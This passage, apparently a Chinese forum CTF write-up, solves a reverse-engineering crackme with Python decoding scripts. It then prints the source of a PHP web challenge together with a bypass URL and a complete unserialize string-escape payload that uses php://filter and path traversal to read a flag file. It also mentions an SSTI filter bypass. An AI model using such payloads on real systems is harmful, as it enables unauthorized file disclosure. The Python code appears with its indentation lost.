base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
temp = []
for i in tmp:
temp.append(base58.index(i))
tmp = temp[0]
for i in range(len(temp)-1):
tmp = tmp * 58 + temp[i+1]
return binascii.unhexlify(hex(tmp)[2:].encode("utf-8")).decode("UTF-8")
print(b58decode("9pd5duAv9fueatCwqEwuy7"))
# GoM0bi13G3tItEzF
再看 main_check2,分别读了 name 和 passwd 后 8 个字符的前 4 个字符,然后移位,再拼
起来,进行 base64 编码于是先解码 base64,再爆破得到 name 和 passwd 的后 8 个字符的前 4 个字符
plain2=base64.b64decode(b"X051YmNmRnE=")
print(plain2)
# b'_NubcfFq'
plain2="_NubcfFq"
from string import ascii_lowercase,ascii_uppercase
for ch in plain2:
if ch.islower():
for c in ascii_lowercase:
tmp=ord(c)+12
if tmp>=ord("z"):
tmp=(tmp-ord("a")+2)%26
tmp+=ord("a")
if tmp==ord(ch):
print(c,end="")
break
elif ch.isupper():
for c in ascii_uppercase: tmp=ord(c)+12
if tmp>=ord("Z"):
tmp=(tmp-ord("A")+2)%26
tmp+=ord("A")
if tmp==ord(ch):
print(c,end="")
break
else:
print(ch,end="")
# _BinorRe
然后是”vG”和 passwd 的最后 2 个字符拼接,name 的最后 4 个字符
进行一个循环加法,在 bytes_Compare 处验证最后是 main_runtime_other 里的对 name 和 passwd 各自最后 2 个字符的验证
于是可以解出除了 passwd 倒数第 3 和倒数第 4 两个字符外的全部字符
my_name="GoM0bi13_Binabcd"
my_pwd="G3tItEzForRe1234"
s1="vG"+my_pwd[-2:]
cipher3=[0xDD, 0x8F, 0xA1, 0x64]
for i in range(4):
if i==0:
print(chr(cipher3-i-ord("v")),end="") elif i==1:
print(chr(cipher3-i-ord("G")),end="")
else:
print(chr(cipher3-i-ord(s1)),end="")
print("")
# gGl
for i in range(32,128):
for j in range(32,128):
if i-j==63 and i+j+2==0xA1:
print("3: "+chr(i)+chr(j))
if i-j==31 and i+j+3==0x64:
print("4: "+chr(i)+chr(j))
# 4: @!
# 3: o0
不管 passwd 倒数第 3 和倒数第 4 的两个字符是什么,都可以通过校验
程序没道理地用了”vG”这两个字符,就把它当作 passwd 倒数第 3 和倒数第 4 的两个字符
于是 name 和 passwd 都是有意义的语句,验证通过,md5 一下提交即可
web
ezus
题目源码
<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset($_GET['source']))
{
$path = basename($_SERVER['PHP_SELF']);
if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
{
exit("nonono!");
}
highlight_file($path);
exit();
}
?><a href="index.php?source">source</a>
过第一关
http://172.52.118.244/index.php/tm.php/%ff?source
<?php
class UserAccount
{
protected $username;
protected $password;
public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
function object_sleep($str)
{
$ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
return $ob;
}
function object_weakup($ob)
{
$r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
return $r;
}
class order
{
public $f;
public $hint;
public function __construct($hint, $f)
{
$this->f = $f;
$this->hint = $hint;
}
public function __wakeup()
{
//something in hint.phpif ($this->hint != "pass" || $this->f != "pass") {
$this->hint = "pass";
$this->f = "pass";
}
}
public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL))
{
$r = parse_url($this->hint);
if (!empty($this->f)) {
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !==
false) {
@include($this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {
@$out = file_get_contents($this->hint);
echo "<br/>".$out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
}
else
{
echo "Invalid URL";
}
}
}
$username = $_POST['username'];
$password = $_POST['password'];
$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?>
参考这个文章 https://blog.csdn.net/weixin_44348894/article/details/105889568
直接字符串逃逸
base64 字符串的值是
<?php
echo "This is the wrong way";
$flag = "you can find it in /f1111444449999.txt";
?>
username=@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@
0@0@@0@0@0@@0@0@0@&password=aaaa";s:8:"password";O:5:"order":3:{s:1:"f";s:6
1:"php://filter/read=convert.base64-
encode/trypass/resource=hint";s:4:"hint";s:49:"demo://prankhub/../../../../../f111144444999
9.txt";}
没有人比我更懂 py
SSTI 注入。过滤了字母。直接全角绕过读文件就行了
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|